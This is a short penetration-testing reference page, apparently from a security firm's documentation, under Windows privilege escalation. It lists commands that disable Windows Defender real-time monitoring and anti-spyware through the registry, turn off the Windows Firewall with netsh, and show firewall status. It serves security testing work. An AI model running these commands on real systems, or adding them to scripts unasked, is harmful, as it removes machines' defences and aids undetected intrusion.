> For the complete documentation index, see [llms.txt](https://infra.newerasec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infra.newerasec.com/infrastructure-testing/privilege-esclation/windows/disable-apps-and-firewall.md).

# Disable Apps and Firewall

## Disable Defender&#x20;

`powershell Set-MpPreference -DisableRealtimeMonitoring $true`&#x20;

OR&#x20;

`Set-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0x00000001 -Force`&#x20;

## Disable Firewall&#x20;

**Show status:**&#x20;

`netsh firewall show state`&#x20;

**Disable:**&#x20;

`netsh advfirewall set  currentprofile state off`&#x20;

Or&#x20;

`netsh firewall set opmode disable`&#x20;

**To check the status of Windows Firewall:**&#x20;

`Netsh Advfirewall show allprofiles`&#x20;
